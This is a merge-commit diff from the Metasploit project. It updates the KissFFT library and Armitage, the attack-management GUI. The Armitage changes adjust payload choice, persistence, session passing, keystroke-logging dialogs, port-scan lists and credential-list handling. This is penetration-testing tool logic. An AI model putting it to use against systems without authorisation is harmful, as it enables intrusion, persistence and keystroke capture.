Merge branch 'rapid7' into midnitesnake-postgres_payload
commit
0221f75f39
2
Rakefile
2
Rakefile
|
@ -37,7 +37,7 @@ namespace :yard do
|
||||||
task :stats => :environment do
|
task :stats => :environment do
|
||||||
stats = YARD::CLI::Stats.new
|
stats = YARD::CLI::Stats.new
|
||||||
yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files
|
yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files
|
||||||
stats.run *yard_arguments
|
stats.run(*yard_arguments)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,23 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
16 Oct 12 (tested against msf 15972)
|
||||||
|
---------
|
||||||
|
- Added port 5985 to MSF Scans list.
|
||||||
|
- Meterpreter -> Access -> Persistence sets ACTION option for you
|
||||||
|
- Changed how LHOST and LPORT are set globally to prevent Ruby
|
||||||
|
character encoding conversion error in the framework.
|
||||||
|
- Pass Session, Log Keystrokes, and Persist now query module info
|
||||||
|
in a separate thread (avoids a deadlock opportunity)
|
||||||
|
- Armitage now shows folder/URL in a popup dialog for environments
|
||||||
|
where JDesktop API to open them directly is not supported
|
||||||
|
- Check all credentials option now filters the list to avoid trying
|
||||||
|
a pair of credentials twice.
|
||||||
|
- Armitage's exploit payload selection now selects cmd/unix/interact
|
||||||
|
when appropriate.
|
||||||
|
- Explore -> Processes now works with Java Meterpreter again.
|
||||||
|
- MSF Scans feature now runs http_version against port 443
|
||||||
|
|
||||||
5 Sept 12 (tested against msf r15804)
|
5 Sept 12 (tested against msf r15804)
|
||||||
---------
|
---------
|
||||||
- Setup dialog now trims host, port, user, and pass fields.
|
- Setup dialog now trims host, port, user, and pass fields.
|
||||||
|
|
|
@ -0,0 +1,2 @@
|
||||||
|
source "http://rubygems.org"
|
||||||
|
gemspec
|
|
@ -1,7 +1,8 @@
|
||||||
Kiss FFT library
|
Kiss FFT library
|
||||||
==================
|
==================
|
||||||
|
|
||||||
Copyright (c) 2003-2006 Mark Borgerding
|
|
||||||
|
Copyright (c) 2003-2010 Mark Borgerding
|
||||||
|
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
||||||
|
@ -13,11 +14,10 @@ Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
|
||||||
Ruby wrapper layer
|
Ruby wrapper layer
|
||||||
==================
|
==================
|
||||||
|
|
||||||
Copyright (C) 2009 H D Moore
|
Copyright (C) 2009-2012 H D Moore < hdm[at]rapid7.com >
|
||||||
|
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
require "bundler/gem_tasks"
|
|
@ -1,5 +1,5 @@
|
||||||
/*
|
/*
|
||||||
Copyright (c) 2003-2004, Mark Borgerding
|
Copyright (c) 2003-2010, Mark Borgerding
|
||||||
|
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
||||||
|
@ -148,3 +148,17 @@ struct kiss_fft_state{
|
||||||
/* a debugging function */
|
/* a debugging function */
|
||||||
#define pcpx(c)\
|
#define pcpx(c)\
|
||||||
fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) )
|
fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) )
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef KISS_FFT_USE_ALLOCA
|
||||||
|
// define this to allow use of alloca instead of malloc for temporary buffers
|
||||||
|
// Temporary buffers are used in two case:
|
||||||
|
// 1. FFT sizes that have "bad" factors. i.e. not 2,3 and 5
|
||||||
|
// 2. "in-place" FFTs. Notice the quotes, since kissfft does not really do an in-place transform.
|
||||||
|
#include <alloca.h>
|
||||||
|
#define KISS_FFT_TMP_ALLOC(nbytes) alloca(nbytes)
|
||||||
|
#define KISS_FFT_TMP_FREE(ptr)
|
||||||
|
#else
|
||||||
|
#define KISS_FFT_TMP_ALLOC(nbytes) KISS_FFT_MALLOC(nbytes)
|
||||||
|
#define KISS_FFT_TMP_FREE(ptr) KISS_FFT_FREE(ptr)
|
||||||
|
#endif
|
|
@ -1,5 +1,5 @@
|
||||||
/*
|
/*
|
||||||
Copyright (c) 2003-2004, Mark Borgerding
|
Copyright (c) 2003-2010, Mark Borgerding
|
||||||
|
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
||||||
|
@ -18,21 +18,6 @@ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
fixed or floating point complex numbers. It also delares the kf_ internal functions.
|
fixed or floating point complex numbers. It also delares the kf_ internal functions.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
static kiss_fft_cpx *scratchbuf=NULL;
|
|
||||||
static size_t nscratchbuf=0;
|
|
||||||
static kiss_fft_cpx *tmpbuf=NULL;
|
|
||||||
static size_t ntmpbuf=0;
|
|
||||||
|
|
||||||
#define CHECKBUF(buf,nbuf,n) \
|
|
||||||
do { \
|
|
||||||
if ( nbuf < (size_t)(n) ) {\
|
|
||||||
free(buf); \
|
|
||||||
buf = (kiss_fft_cpx*)KISS_FFT_MALLOC(sizeof(kiss_fft_cpx)*(n)); \
|
|
||||||
nbuf = (size_t)(n); \
|
|
||||||
} \
|
|
||||||
}while(0)
|
|
||||||
|
|
||||||
|
|
||||||
static void kf_bfly2(
|
static void kf_bfly2(
|
||||||
kiss_fft_cpx * Fout,
|
kiss_fft_cpx * Fout,
|
||||||
const size_t fstride,
|
const size_t fstride,
|
||||||
|
@ -69,6 +54,7 @@ static void kf_bfly4(
|
||||||
const size_t m2=2*m;
|
const size_t m2=2*m;
|
||||||
const size_t m3=3*m;
|
const size_t m3=3*m;
|
||||||
|
|
||||||
|
|
||||||
tw3 = tw2 = tw1 = st->twiddles;
|
tw3 = tw2 = tw1 = st->twiddles;
|
||||||
|
|
||||||
do {
|
do {
|
||||||
|
@ -222,29 +208,30 @@ static void kf_bfly_generic(
|
||||||
kiss_fft_cpx t;
|
kiss_fft_cpx t;
|
||||||
int Norig = st->nfft;
|
int Norig = st->nfft;
|
||||||
|
|
||||||
CHECKBUF(scratchbuf,nscratchbuf,p);
|
kiss_fft_cpx * scratch = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC(sizeof(kiss_fft_cpx)*p);
|
||||||
|
|
||||||
for ( u=0; u<m; ++u ) {
|
for ( u=0; u<m; ++u ) {
|
||||||
k=u;
|
k=u;
|
||||||
for ( q1=0 ; q1<p ; ++q1 ) {
|
for ( q1=0 ; q1<p ; ++q1 ) {
|
||||||
scratchbuf[q1] = Fout[ k ];
|
scratch[q1] = Fout[ k ];
|
||||||
C_FIXDIV(scratchbuf[q1],p);
|
C_FIXDIV(scratch[q1],p);
|
||||||
k += m;
|
k += m;
|
||||||
}
|
}
|
||||||
|
|
||||||
k=u;
|
k=u;
|
||||||
for ( q1=0 ; q1<p ; ++q1 ) {
|
for ( q1=0 ; q1<p ; ++q1 ) {
|
||||||
int twidx=0;
|
int twidx=0;
|
||||||
Fout[ k ] = scratchbuf[0];
|
Fout[ k ] = scratch[0];
|
||||||
for (q=1;q<p;++q ) {
|
for (q=1;q<p;++q ) {
|
||||||
twidx += fstride * k;
|
twidx += fstride * k;
|
||||||
if (twidx>=Norig) twidx-=Norig;
|
if (twidx>=Norig) twidx-=Norig;
|
||||||
C_MUL(t,scratchbuf[q] , twiddles[twidx] );
|
C_MUL(t,scratch[q] , twiddles[twidx] );
|
||||||
C_ADDTO( Fout[ k ] ,t);
|
C_ADDTO( Fout[ k ] ,t);
|
||||||
}
|
}
|
||||||
k += m;
|
k += m;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
KISS_FFT_TMP_FREE(scratch);
|
||||||
}
|
}
|
||||||
|
|
||||||
static
|
static
|
||||||
|
@ -265,7 +252,8 @@ void kf_work(
|
||||||
#ifdef _OPENMP
|
#ifdef _OPENMP
|
||||||
// use openmp extensions at the
|
// use openmp extensions at the
|
||||||
// top-level (not recursive)
|
// top-level (not recursive)
|
||||||
if (fstride==1) {
|
if (fstride==1 && p<=5)
|
||||||
|
{
|
||||||
int k;
|
int k;
|
||||||
|
|
||||||
// execute the p different work units in different threads
|
// execute the p different work units in different threads
|
||||||
|
@ -380,14 +368,15 @@ kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride)
|
void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride)
|
||||||
{
|
{
|
||||||
if (fin == fout) {
|
if (fin == fout) {
|
||||||
CHECKBUF(tmpbuf,ntmpbuf,st->nfft);
|
//NOTE: this is not really an in-place FFT algorithm.
|
||||||
|
//It just performs an out-of-place FFT into a temp buffer
|
||||||
|
kiss_fft_cpx * tmpbuf = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC( sizeof(kiss_fft_cpx)*st->nfft);
|
||||||
kf_work(tmpbuf,fin,1,in_stride, st->factors,st);
|
kf_work(tmpbuf,fin,1,in_stride, st->factors,st);
|
||||||
memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft);
|
memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft);
|
||||||
|
KISS_FFT_TMP_FREE(tmpbuf);
|
||||||
}else{
|
}else{
|
||||||
kf_work( fout, fin, 1,in_stride, st->factors,st );
|
kf_work( fout, fin, 1,in_stride, st->factors,st );
|
||||||
}
|
}
|
||||||
|
@ -399,17 +388,9 @@ void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/* not really necessary to call, but if someone is doing in-place ffts, they may want to free the
|
|
||||||
buffers from CHECKBUF
|
|
||||||
*/
|
|
||||||
void kiss_fft_cleanup(void)
|
void kiss_fft_cleanup(void)
|
||||||
{
|
{
|
||||||
free(scratchbuf);
|
// nothing needed any more
|
||||||
scratchbuf = NULL;
|
|
||||||
nscratchbuf=0;
|
|
||||||
free(tmpbuf);
|
|
||||||
tmpbuf=NULL;
|
|
||||||
ntmpbuf=0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int kiss_fft_next_fast_size(int n)
|
int kiss_fft_next_fast_size(int n)
|
|
@ -5,7 +5,6 @@
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <math.h>
|
#include <math.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <malloc.h>
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
extern "C" {
|
extern "C" {
|
||||||
|
@ -27,9 +26,11 @@ extern "C" {
|
||||||
#ifdef USE_SIMD
|
#ifdef USE_SIMD
|
||||||
# include <xmmintrin.h>
|
# include <xmmintrin.h>
|
||||||
# define kiss_fft_scalar __m128
|
# define kiss_fft_scalar __m128
|
||||||
#define KISS_FFT_MALLOC(nbytes) memalign(16,nbytes)
|
#define KISS_FFT_MALLOC(nbytes) _mm_malloc(nbytes,16)
|
||||||
|
#define KISS_FFT_FREE _mm_free
|
||||||
#else
|
#else
|
||||||
#define KISS_FFT_MALLOC malloc
|
#define KISS_FFT_MALLOC malloc
|
||||||
|
#define KISS_FFT_FREE free
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|
|
@ -19,9 +19,9 @@ struct kiss_fftr_state{
|
||||||
kiss_fft_cfg substate;
|
kiss_fft_cfg substate;
|
||||||
kiss_fft_cpx * tmpbuf;
|
kiss_fft_cpx * tmpbuf;
|
||||||
kiss_fft_cpx * super_twiddles;
|
kiss_fft_cpx * super_twiddles;
|
||||||
#ifdef USE_SIMD
|
#ifdef USE_SIMD
|
||||||
long pad;
|
void * pad;
|
||||||
#endif
|
#endif
|
||||||
};
|
};
|
||||||
|
|
||||||
kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem)
|
kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem)
|
|
@ -0,0 +1,16 @@
|
||||||
|
# -*- encoding: utf-8 -*-
|
||||||
|
|
||||||
|
Gem::Specification.new do |s|
|
||||||
|
s.name = "kissfft"
|
||||||
|
s.version = "0.0.1"
|
||||||
|
s.authors = ["HD Moore"]
|
||||||
|
s.email = ["hdm@rapid7.com"]
|
||||||
|
s.homepage = ""
|
||||||
|
s.summary = %q{Ruby wrapper around the KisFFT library for performing FFTs}
|
||||||
|
s.description = %q{Provides access to the KissFFT library for performing fast-fourier transforms from Ruby }
|
||||||
|
|
||||||
|
s.files = Dir.glob('lib/**/*.rb') + Dir.glob('ext/**/*.{c,h,rb}') + [ "LICENSE" ]
|
||||||
|
s.test_files = Dir.glob('test/**/*.{rb,data}')
|
||||||
|
s.extensions = [ 'ext/kissfft/extconf.rb' ]
|
||||||
|
s.require_paths = ["lib"]
|
||||||
|
end
|
|
@ -3,7 +3,7 @@
|
||||||
<center><h1>Armitage 1.44</h1></center>
|
<center><h1>Armitage 1.44</h1></center>
|
||||||
|
|
||||||
<p>An attack management tool for Metasploit®
|
<p>An attack management tool for Metasploit®
|
||||||
<br />Release: 5 Sept 12</p>
|
<br />Release: 16 Oct 12</p>
|
||||||
<br />
|
<br />
|
||||||
<p>Developed by:</p>
|
<p>Developed by:</p>
|
||||||
|
|
||||||
|
|
|
@ -349,6 +349,9 @@ sub best_payload {
|
||||||
else if ("java/jsp_shell_bind_tcp" in $compatible) {
|
else if ("java/jsp_shell_bind_tcp" in $compatible) {
|
||||||
return "java/jsp_shell_bind_tcp";
|
return "java/jsp_shell_bind_tcp";
|
||||||
}
|
}
|
||||||
|
else if ("cmd/unix/interact" in $compatible) {
|
||||||
|
return "cmd/unix/interact";
|
||||||
|
}
|
||||||
else {
|
else {
|
||||||
return "generic/shell_bind_tcp";
|
return "generic/shell_bind_tcp";
|
||||||
}
|
}
|
||||||
|
|
|
@ -475,7 +475,12 @@ sub gotoFile {
|
||||||
return lambda({
|
return lambda({
|
||||||
local('$exception');
|
local('$exception');
|
||||||
try {
|
try {
|
||||||
[[Desktop getDesktop] open: $f];
|
if ([Desktop isDesktopSupported]) {
|
||||||
|
[[Desktop getDesktop] open: $f];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ask("Browse to this file:", $f);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch $exception {
|
catch $exception {
|
||||||
showError("Could not open $f $+ \n $+ $exception");
|
showError("Could not open $f $+ \n $+ $exception");
|
||||||
|
|
|
@ -356,6 +356,16 @@ sub _launch_dialog {
|
||||||
if (!isShift($1)) {
|
if (!isShift($1)) {
|
||||||
[$dialog setVisible: 0];
|
[$dialog setVisible: 0];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# fix some module options...
|
||||||
|
if ($command eq "windows/manage/persistence") {
|
||||||
|
if ('REXE' in $options) {
|
||||||
|
$options['ACTION'] = 'REXE';
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$options['ACTION'] = 'TEMPLATE';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
# it's go time buddy... time to filter some stuff...
|
# it's go time buddy... time to filter some stuff...
|
||||||
($type, $command, $options) = filter_data("user_launch", $type, $command, $options);
|
($type, $command, $options) = filter_data("user_launch", $type, $command, $options);
|
||||||
|
|
|
@ -188,7 +188,12 @@ sub main_attack_items {
|
||||||
|
|
||||||
sub gotoURL {
|
sub gotoURL {
|
||||||
return lambda({
|
return lambda({
|
||||||
[[Desktop getDesktop] browse: $url];
|
if ([Desktop isDesktopSupported]) {
|
||||||
|
[[Desktop getDesktop] browse: $url];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ask("Browse to this URL:", $url);
|
||||||
|
}
|
||||||
}, $url => [[new URL: $1] toURI]);
|
}, $url => [[new URL: $1] toURI]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -191,11 +191,15 @@ sub showMeterpreterMenu {
|
||||||
}, $sid => "$sid"));
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
item($j, "Persist", 'P', lambda({
|
item($j, "Persist", 'P', lambda({
|
||||||
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
thread(lambda({
|
||||||
|
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||||
|
}, \$sid));
|
||||||
}, $sid => "$sid"));
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
item($j, "Pass Session", 'S', lambda({
|
item($j, "Pass Session", 'S', lambda({
|
||||||
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
thread(lambda({
|
||||||
|
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||||
|
}, \$sid));
|
||||||
}, $sid => "$sid"));
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
setupMenu($j, "meterpreter_access", @($sid));
|
setupMenu($j, "meterpreter_access", @($sid));
|
||||||
|
@ -241,7 +245,9 @@ sub showMeterpreterMenu {
|
||||||
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
|
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
|
||||||
if ("*win*" iswm $platform) {
|
if ("*win*" iswm $platform) {
|
||||||
item($j, "Log Keystrokes", 'K', lambda({
|
item($j, "Log Keystrokes", 'K', lambda({
|
||||||
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
|
thread(lambda({
|
||||||
|
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
|
||||||
|
}, \$sid));
|
||||||
}, $sid => "$sid"));
|
}, $sid => "$sid"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -305,6 +311,9 @@ sub launch_msf_scans {
|
||||||
if ('RPORT' in %o) {
|
if ('RPORT' in %o) {
|
||||||
$port = %o['RPORT']['default'];
|
$port = %o['RPORT']['default'];
|
||||||
push(%ports[$port], $scanner);
|
push(%ports[$port], $scanner);
|
||||||
|
if ($port == 80) {
|
||||||
|
push(%ports['443'], $scanner);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
safetyCheck();
|
safetyCheck();
|
||||||
|
@ -313,7 +322,7 @@ sub launch_msf_scans {
|
||||||
|
|
||||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||||
# for the default ports
|
# for the default ports
|
||||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902, 5985)) {
|
||||||
$temp = %ports[$port];
|
$temp = %ports[$port];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -343,7 +352,12 @@ sub launch_msf_scans {
|
||||||
if ($port in %ports) {
|
if ($port in %ports) {
|
||||||
$modules = %ports[$port];
|
$modules = %ports[$port];
|
||||||
foreach $module ($modules) {
|
foreach $module ($modules) {
|
||||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
|
if ($port == 443) {
|
||||||
|
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24, SSL => "1")));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -297,19 +297,24 @@ sub show_login_dialog {
|
||||||
}
|
}
|
||||||
|
|
||||||
sub createUserPassFile {
|
sub createUserPassFile {
|
||||||
local('$handle $user $pass $type $row $2 $name');
|
local('$handle $user $pass $type $row $2 $name %entries');
|
||||||
$name = "userpass" . rand(10000) . ".txt";
|
$name = "userpass" . rand(10000) . ".txt";
|
||||||
|
|
||||||
$handle = openf("> $+ $name");
|
# loop through our entries and store them
|
||||||
|
%entries = ohash();
|
||||||
foreach $row ($1) {
|
foreach $row ($1) {
|
||||||
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
|
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
|
||||||
if ($type eq "password" || $type eq $2) {
|
if ($type eq "password" || $type eq $2) {
|
||||||
println($handle, "$user $pass");
|
%entries["$user $pass"] = "$user $pass";
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
println($handle, "$user");
|
%entries[$user] = $user;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# print out unique entry values
|
||||||
|
$handle = openf("> $+ $name");
|
||||||
|
printAll($handle, values(%entries));
|
||||||
closef($handle);
|
closef($handle);
|
||||||
|
|
||||||
if ($client !is $mclient) {
|
if ($client !is $mclient) {
|
||||||
|
|
|
@ -27,6 +27,12 @@ sub parseProcessList {
|
||||||
# REMOVEME--this is a backwards compatability hack.
|
# REMOVEME--this is a backwards compatability hack.
|
||||||
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
|
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# this is the format for Java meterpreter
|
||||||
|
if (size(@rows) == 0) {
|
||||||
|
@rows = parseTextTable($2, @("PID", "Name", "Arch", "User", "Path"));
|
||||||
|
}
|
||||||
|
|
||||||
foreach $row (@rows) {
|
foreach $row (@rows) {
|
||||||
[%processes[$1] addEntry: $row];
|
[%processes[$1] addEntry: $row];
|
||||||
}
|
}
|
||||||
|
|
|
@ -355,7 +355,7 @@ sub client {
|
||||||
|
|
||||||
sub main {
|
sub main {
|
||||||
global('$client $mclient');
|
global('$client $mclient');
|
||||||
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle');
|
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console');
|
||||||
|
|
||||||
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
||||||
|
|
||||||
|
@ -400,9 +400,6 @@ sub main {
|
||||||
$mclient = $client;
|
$mclient = $client;
|
||||||
initConsolePool(); # this needs to happen... right now.
|
initConsolePool(); # this needs to happen... right now.
|
||||||
|
|
||||||
# set the LHOST to whatever the user specified
|
|
||||||
call_async($client, "core.setg", "LHOST", $host);
|
|
||||||
|
|
||||||
# we need this global to be set so our reverse listeners work as expected.
|
# we need this global to be set so our reverse listeners work as expected.
|
||||||
$MY_ADDRESS = $host;
|
$MY_ADDRESS = $host;
|
||||||
|
|
||||||
|
@ -423,6 +420,13 @@ sub main {
|
||||||
$lock_lock = semaphore(1);
|
$lock_lock = semaphore(1);
|
||||||
$cach_lock = semaphore(1);
|
$cach_lock = semaphore(1);
|
||||||
|
|
||||||
|
# set the LHOST to whatever the user specified (use console.write to make the string not UTF-8)
|
||||||
|
$console = createConsole($client);
|
||||||
|
call($client, "console.write", $console, "setg LHOST $host $+ \n");
|
||||||
|
sleep(2000);
|
||||||
|
# absorb the output of this command which is LHOST => ...
|
||||||
|
call($client, "console.read", $console);
|
||||||
|
|
||||||
#
|
#
|
||||||
# create a thread to push console messages to the event queue for all clients.
|
# create a thread to push console messages to the event queue for all clients.
|
||||||
#
|
#
|
||||||
|
@ -437,7 +441,7 @@ sub main {
|
||||||
release($poll_lock);
|
release($poll_lock);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}, \$client, \$poll_lock, \@events, $console => createConsole($client));
|
}, \$client, \$poll_lock, \@events, \$console);
|
||||||
|
|
||||||
#
|
#
|
||||||
# Create a shared hash that contains a thread for each session...
|
# Create a shared hash that contains a thread for each session...
|
||||||
|
|
|
@ -152,7 +152,10 @@ sub createConsoleTab {
|
||||||
|
|
||||||
sub setg {
|
sub setg {
|
||||||
%MSF_GLOBAL[$1] = $2;
|
%MSF_GLOBAL[$1] = $2;
|
||||||
call_async($client, "core.setg", $1, $2);
|
local('$c');
|
||||||
|
$c = createConsole($client);
|
||||||
|
call_async($client, "console.write", $c, "setg $1 $2 $+ \n");
|
||||||
|
call_async($client, "console.release", $c);
|
||||||
}
|
}
|
||||||
|
|
||||||
sub createDefaultHandler {
|
sub createDefaultHandler {
|
||||||
|
|
|
@ -104,6 +104,9 @@ public class ConsoleClient implements Runnable, ActionListener {
|
||||||
if (destroyCommand != null) {
|
if (destroyCommand != null) {
|
||||||
((RpcAsync)connection).execute_async(destroyCommand, new Object[] { session });
|
